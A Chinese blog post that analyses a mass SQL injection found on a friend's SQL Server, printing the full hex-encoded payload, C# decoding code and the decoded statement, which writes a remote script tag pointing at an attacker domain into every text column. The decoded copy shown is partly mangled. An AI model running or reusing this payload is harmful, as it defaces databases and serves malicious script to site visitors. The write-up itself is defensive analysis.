SQL Hex Injection 十六进制注入解决方案

所属分类: 网络安全 / 加密解密 阅读数: 212
收藏 0 赞 0 分享

今天朋友遇到一个问题,他的sql server 数据库被执行了一条语句
dEcLaRe @s vArChAr(8000) sEt @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 eXeC(@s)--
从0x可以看出这是一段十六进制编码的sql语句
于是想到将其解码:
对于十六进制字符串编码和解码的C# 方法如下:

复制代码
代码如下:

///
/// 从字符串转换到16进制表示的字符串
///
///
/// 编码,如"utf-8","gb2312"
/// 是否每字符用逗号分隔
///
public static string ToHex(string s, string charset, bool fenge)
{
if ((s.Length % 2) != 0)
{
s += " ";//空格
//throw new ArgumentException("s is not valid chinese string!");
}
System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);
byte[] bytes = chs.GetBytes(s);
string str = "";
for (int i = 0; i < bytes.Length; i++)
{
str += string.Format("{0:X}", bytes[i]);
if (fenge && (i != bytes.Length - 1))
{
str += string.Format("{0}", ",");
}
}
return str.ToLower();
}</p> <p> ///
/// 从16进制转换成utf编码的字符串
///
///
/// 编码,如"utf-8","gb2312"
///
public static string UnHex(string hex, string charset)
{
if (hex == null)
throw new ArgumentNullException("hex");
hex = hex.Replace(",", "");
hex = hex.Replace("\n", "");
hex = hex.Replace("\\", "");
hex = hex.Replace(" ", "");
if (hex.Length % 2 != 0)
{
hex += "20";//空格
throw new ArgumentException("hex is not a valid number!", "hex");
}
// 需要将 hex 转换成 byte 数组。
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < bytes.Length; i++)
{
try
{
// 每两个字符是一个 byte。
bytes[i] = byte.Parse(hex.Substring(i * 2, 2),
System.Globalization.NumberStyles.HexNumber);
}
catch
{
// Rethrow an exception with custom message.
throw new ArgumentException("hex is not a valid hex number!", "hex");
}
}
System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);</p> <p> return chs.GetString(bytes);
}

于是对这段代码进行解码:

复制代码
代码如下:

private static void TestHexStringDecode()
{
string oldSql = "6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52";
Console.Write(System.Web.HttpUtility.UrlDecode( UnHex(oldSql, "utf-8").ToLower()));
}

这样它的原型就现出来了

复制代码
代码如下:

declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a
.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch
next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['
@t '] set [' @c ']=rtrim(convert(varchar,[' @c '])) ''"> ose table_cursor deallocate table_cursor

进行注入的人的网址就是a.ppmmoo.cn

大家平时应该多注意这种注入, 可以通过控制对数据库的权限来避免上面这段代码的注入,据朋友介绍此人是在光纤的电脑上注入的,估计用肉鸡,或者服务器~~~
另外 http://home2.paulschou.net/tools/xlate/ 这个网址可以对Hex编码的字符串进行解码

更多精彩内容其他人还在看

黑客技术之slv unpackme 脱壳

其实壳本身不要紧,问题是vm里面有个校验。 sm同学手下留情,我勉强能搞一个运行正常的,没精力还原vm了。 在virutalfree的retn上f4, 直到[esp]是一个exe image内的地址f7返回: 0040FA91 B8 BE180000 m
收藏 0 赞 0 分享

Allok Video to 3GP Converter 脱壳+破解(图)

①。 下载好安装后,用DIT查看为MoleBox 2.5.x. ----------------------------------------------------------------------------- OD,载如RUN,程序完全运行后,ALT+M查看内存映
收藏 0 赞 0 分享

有密码 优酷视频 破解方法

优酷网站的视频可以设置独立的播放密码,不过你可知道:观看有密码的优酷视频其实不需要密码哦。下面讲述两种方法进行优酷视频密码破解的方法。 优酷视频密码破解一: 打开FLV解析网站,这里推荐使用该站点:http://www.flvcd.com,从浏览器地址栏复制需要解密的优酷
收藏 0 赞 0 分享

web.config本地加密解密BAT

可以控制某些用户即使登录到服务器上,也无法用aspnet_regiis -pdf对配置文件进行解密。
收藏 0 赞 0 分享

汇编语言程序破解基本知识

汇编语言程序破解基本知识,想要学习破解的朋友可以参考
收藏 0 赞 0 分享

关于加密解密你知道多少? 加密解密的方法详解

我们来谈谈加密和解密的事吧
收藏 0 赞 0 分享

手动脱壳入门第四篇Aspack 2.11

【脱文标题】 手动脱壳入门第四篇Aspack 2.11 【脱文作者】 weiyi75[Dfcg] 【作者邮箱】 weiyi75@sohu.com 【作者主页】 Dfcg官方大本营 【使用工具】 Peid,Ollydbg 【脱壳平台】 Win2K
收藏 0 赞 0 分享

从UNIX系统获取密码档(三)

一些诀窍 Root和Demon的工具包及特洛伊木马 -------------------------------------------------------------------------------- 保持访问权限的方法有很多。虽然在你学习本文
收藏 0 赞 0 分享

从UNIX系统获取密码档(二)

主题: 破解(Cracking)passwrd 文档 与新手交谈 困难的方法 利用mount命令获取访问权限 有很多方法可以获得一个起始帐号.我将深入每个方面帮助你开始.你所需的只是一个好的帐号,用来获得数百个帐号.想一想这:你进入一个很好
收藏 0 赞 0 分享

软件破解新手进化篇

1.软件怎么判断我们是否注册了? 不要忘了,软件最终是按照人的思维做的,我们回到自身来,“如果是你,你怎么判断别人是否注册了呢”,“我要别人输入用户名和注册码啊”,聪明的想法,很多软件也是这样做的,如豪杰超级解霸。(但是不是所
收藏 0 赞 0 分享
查看更多